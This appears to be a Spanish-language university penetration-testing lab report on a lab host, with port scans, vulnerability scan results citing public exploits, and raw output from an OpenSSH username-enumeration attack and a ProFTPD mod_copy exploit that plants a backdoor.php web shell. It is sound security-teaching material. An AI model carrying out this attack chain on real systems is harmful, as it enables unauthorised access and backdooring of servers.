UNIVERSIDAD DE CUENCA

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Dirección IP:

### 192.168.0.110

Port	State	Service
111/tcp	open	rpcbind
139/tcp	open	netbios-ssn
21/tcp	open	ftp
22/tcp	open	ssh
3306/tcp	open	mysql
445/tcp	open	microsoft-ds
631/tcp	open	ipp
6667/tcp	open	irc
80/tcp	open	http
8080/tcp	open	http-proxy

(end of excerpt)

1.2_Obtención-de-puertos-TCP-abiertos

Direcciones:

IP: 192.168.0.110 - ipv4
Fisica: mac - 08:00:27:42:51:79

Puertos:

Los 990 puertos escaneados pero no presentados, estan en estado: closed
Los 990 puertos respondieron con: resets

### 192.168.0.110

Port	State	Service
111/tcp	open	rpcbind
139/tcp	open	netbios-ssn
21/tcp	open	ftp
22/tcp	open	ssh
3306/tcp	open	mysql
445/tcp	open	microsoft-ds
631/tcp	open	ipp
6667/tcp	open	irc
80/tcp	open	http
8080/tcp	open	http-proxy

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-con-nuclei

TemplateID: CVE-2018-15473 - Severidad: low
Referencia: https://nvd.nist.gov/vuln/detail/CVE-2018-15473
Nombre: OpenSSH Username Enumeration
Descripción:

OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

(end of excerpt)

Objetivo emparejado con cve: 192.168.0.110:22

TemplateID: CVE-2015-3306 - Severidad: high
Referencia: https://github.com/t0kx/exploit-CVE-2015-3306
Nombre: ProFTPd RCE
Descripción:

The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.

(end of excerpt)

Objetivo emparejado con cve: 192.168.0.110:21

TemplateID: smb-v1-detection - Severidad: low
Referencia: https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/
Nombre: SMB-V1 Detection
Descripción:
Objetivo emparejado con cve: 192.168.0.110:445

1.3_Vulnerabilidades-mediante-puertos-TCP

Dirección IP:

#### 192.168.0.110

Port	Service	Script	Salida
111/tcp/open	rpcbind	[script.id]	[script.output]
139/tcp/open	netbios-ssn	[script.id]	[script.output]
21/tcp/open	ftp	sslv2-drown	
22/tcp/open	ssh	[script.id]	[script.output]
3306/tcp/open	mysql	mysql-vuln-cve2012-2122	ERROR: Script execution failed (use -d to debug)
445/tcp/open	microsoft-ds	[script.id]	[script.output]
631/tcp/open	ipp	http-aspnet-debug	ERROR: Script execution failed (use -d to debug)
6667/tcp/open	irc	irc-botnet-channels	 ERROR: EOF
80/tcp/open	http	http-csrf	Couldn't find any CSRF vulnerabilities.
8080/tcp/open	http-proxy	[script.id]	[script.output]

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Dirección IP:

#### 192.168.0.110

```
| Port | Service | Script | Salida |
|------|---------|--------|--------|
| 111/tcp/open | rpcbind |  rpcinfo |
  program version    port/proto  service
  100000  2,3,4        111/tcp   rpcbind
  100000  2,3,4        111/udp   rpcbind
  100000  3,4          111/tcp6  rpcbind
  100000  3,4          111/udp6  rpcbind
  100024  1          40247/tcp   status
  100024  1          43223/udp6  status
  100024  1          47318/tcp6  status
  100024  1          47724/udp   status
 |
| 139/tcp/open | netbios-ssn |  [script.id] |  [script.output] |
| 21/tcp/open | ftp |  vulners |
  cpe:/a:proftpd:proftpd:1.3.5:

 SAINT:950EB68D408A40399926A4CCAD3CC62E 10.0 https://vulners.com/saint/SAINT:950EB68D408A40399926A4CCAD3CC62E *EXPLOIT*

 SAINT:63FB77B9136D48259E4F0D4CDA35E957 10.0 https://vulners.com/saint/SAINT:63FB77B9136D48259E4F0D4CDA35E957 *EXPLOIT*

 SAINT:1B08F4664C428B180EEC9617B41D9A2C 10.0 https://vulners.com/saint/SAINT:1B08F4664C428B180EEC9617B41D9A2C *EXPLOIT*
     PROFTPD_MOD_COPY 10.0 https://vulners.com/canvas/PROFTPD_MOD_COPY *EXPLOIT*
     PACKETSTORM:162777 10.0 https://vulners.com/packetstorm/PACKETSTORM:162777 *EXPLOIT*
     PACKETSTORM:132218 10.0 https://vulners.com/packetstorm/PACKETSTORM:132218 *EXPLOIT*
     PACKETSTORM:131567 10.0 https://vulners.com/packetstorm/PACKETSTORM:131567 *EXPLOIT*
     PACKETSTORM:131555 10.0 https://vulners.com/packetstorm/PACKETSTORM:131555 *EXPLOIT*
     PACKETSTORM:131505 10.0 https://vulners.com/packetstorm/PACKETSTORM:131505 *EXPLOIT*

 MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC 10.0 https://vulners.com/metasploit/MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC *EXPLOIT*
     EDB-ID:49908 10.0 https://vulners.com/exploitdb/EDB-ID:49908 *EXPLOIT*
     EDB-ID:37262 10.0 https://vulners.com/exploitdb/EDB-ID:37262 *EXPLOIT*
     EDB-ID:36803 10.0 https://vulners.com/exploitdb/EDB-ID:36803 *EXPLOIT*
     EDB-ID:36742 10.0 https://vulners.com/exploitdb/EDB-ID:36742 *EXPLOIT*
     CVE-2015-3306 10.0 https://vulners.com/cve/CVE-2015-3306
     1337DAY-ID-23720 10.0 https://vulners.com/zdt/1337DAY-ID-23720 *EXPLOIT*
     1337DAY-ID-23544 10.0 https://vulners.com/zdt/1337DAY-ID-23544 *EXPLOIT* |
| 22/tcp/open | ssh |  vulners |
```

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

cpe:/a:openbsd:openssh:6.6.1p1:
CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600 |
| 3306/tcp/open | mysql | [script.id] | [script.output] |
| 445/tcp/open | netbios-ssn | [script.id] | [script.output] |
| 631/tcp/open | ipp | http-server-header | CUPS/1.7 IPP/2.1 |
| 6667/tcp/open | irc | [script.id] | [script.output] |
| 80/tcp/open | http | http-server-header | Apache/2.4.7 (Ubuntu) |
| 8080/tcp/open | http | http-server-header | Jetty(8.1.7.v20120910) |

(end of excerpt)

2.1_Ataques-realizados

* CVE_ID:cve-2018-15473

```
[+] OpenSSH version 6.6 found
[+] couchdb found!
[+] cups-pk-helper found!
[!] SSH negotiation failed for user daemon
[+] dbadmin found!
[+] dbus found!
[!] SSH negotiation failed for user libuuid
[!] SSH negotiation failed for user lightdm
[+] list found!
[+] listen found!
[!] SSH negotiation failed for user lp
[+] pulse found!
[!] SSH negotiation failed for user redsocks
[+] rfindd found!
[!] SSH negotiation failed for user rje
[!] SSH negotiation failed for user root
[!] SSH negotiation failed for user syslog
[+] system_admin found!
[+] systemd-bus-proxy found!
[!] SSH negotiation failed for user systemd-coredump
[!] SSH negotiation failed for user systemd-network
[+] bin found!
[!] SSH negotiation failed for user bitnami
[+] checkfs found!
[+] checkfsys found!
[+] checksys found!
[+] man found!
[+] me found!
[!] SSH negotiation failed for user messagebus
[+] miredo found!
[+] mountfs found!
[!] SSH negotiation failed for user sslh
[!] SSH negotiation failed for user sssd
[+] stunnel4 found!
[+] sym found!
[+] symop found!
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] bbs found!
[+] beef-xss found!
[+] postfix found!
[!] SSH negotiation failed for user postgres
```

2.1_Ataques-realizados

```
[!] SSH negotiation failed for user postmaster
[+] printer found!
[+] proxy found!
[+] systemd-resolve found!
[!] SSH negotiation failed for user systemd-timesync
[+] tcpdump found!
[+] trouble found!
[+] tss found!
[+] distccd found!
[+] dni found!
[!] SSH negotiation failed for user dnsmasq
[+] dradis found!
[+] EZsetup found!
[!] SSH negotiation failed for user karaf
[+] kernoops found!
[+] king-phisher found!
[+] landscape found!
[+] libstoragemgmt found!
[!] SSH negotiation failed for user sync
[+] sys found!
[+] sysadm found!
[+] sysadmin found!
[+] sysbin found!
[+] geoclue found!
[+] gnats found!
[!] SSH negotiation failed for user gnome-initial-setup
[+] gopher found!
[+] gropher found!
[+] lpadm found!
[+] lpadmin found!
[+] lxd found!
[+] lynx found!
[!] SSH negotiation failed for user mail
[+] udadmin found!
[+] ultra found!
[!] SSH negotiation failed for user umountfs
[+] umountfsys found!
[+] umountsys found!
[+] chronos found!
[+] chrony found!
[!] SSH negotiation failed for user cmwlogin
```

2.1_Ataques-realizados

```
[!] SSH negotiation failed for user cockpit-ws
[+] colord found!
[!] SSH negotiation failed for user guest
[+] haldaemon found!
[+] halt found!
[!] SSH negotiation failed for user hplip
[!] SSH negotiation failed for user inetsim
[!] SSH negotiation failed for user nxpgsql
[+] omi found!
[!] SSH negotiation failed for user omsagent
[+] operator found!
[+] oracle found!
[+] ROOT found!
[+] rooty found!
[+] rpc found!
[+] rpcuser found!
[+] rtkit found!
[+]  found!
[+] 4Dgifts found!
[+] abrt found!
[+] adm found!
[+] admin found!
[!] SSH negotiation failed for user OutOfBox
[+] pi found!
[+] polkitd found!
[!] SSH negotiation failed for user pollinate
[!] SSH negotiation failed for user popr
[+] sgiweb found!
[+] shutdown found!
[+] sigver found!
[+] speech-dispatcher found!
[+] sshd found!
[+] Debian-exim found!
[+] Debian-snmp found!
[+] demo found!
[!] SSH negotiation failed for user demos
[!] SSH negotiation failed for user diag
[+] informix found!
[+] install found!
[+] iodine found!
[+] irc found!
```

2.1_Ataques-realizados

```
[+] jet found!
[+] rwhod found!
[!] SSH negotiation failed for user saned
[!] SSH negotiation failed for user service
[!] SSH negotiation failed for user setroubleshoot
[!] SSH negotiation failed for user setup
[!] SSH negotiation failed for user web
[+] webmaster found!
[+] whoopsie found!
[+] www found!
[+] www-data found!
[+] fal found!
[+] fax found!
[+] ftp found!
[+] games found!
[!] SSH negotiation failed for user gdm
[+] nobody found!
[+] nobody4 found!
[!] SSH negotiation failed for user ntp
[+] nuucp found!
[+] nxautomation found!
[!] SSH negotiation failed for user unix
[!] SSH negotiation failed for user unscd
[+] us_admin found!
[!] SSH negotiation failed for user usbmux
[+] user found!
[+] xpdb found!
[+] xpopr found!
[+] zabbix found!
[+] administrator found!
[+] anon found!
[!] SSH negotiation failed for user _apt
[+] arpwatch found!
[+] auditor found!
[+] mountfsys found!
[!] SSH negotiation failed for user mountsys
[+] mysql found!
[+] news found!
[+] noaccess found!
[+] uucp found!
[+] uucpadm found!
```

2.1_Ataques-realizados

```
[+] uuidd found!
[+] vagrant found!
[+] varnish found!
```

(end of excerpt)

```
--------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------------------------------
```

2.1_Ataques-realizados

* CVE_ID:0cve-2015-3306

```
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 192.168.0.110:21
[+] Target exploited, acessing shell at http://192.168.0.110/backdoor.php
[+] Running whoami: www-data
[+] Done
```

(end of excerpt)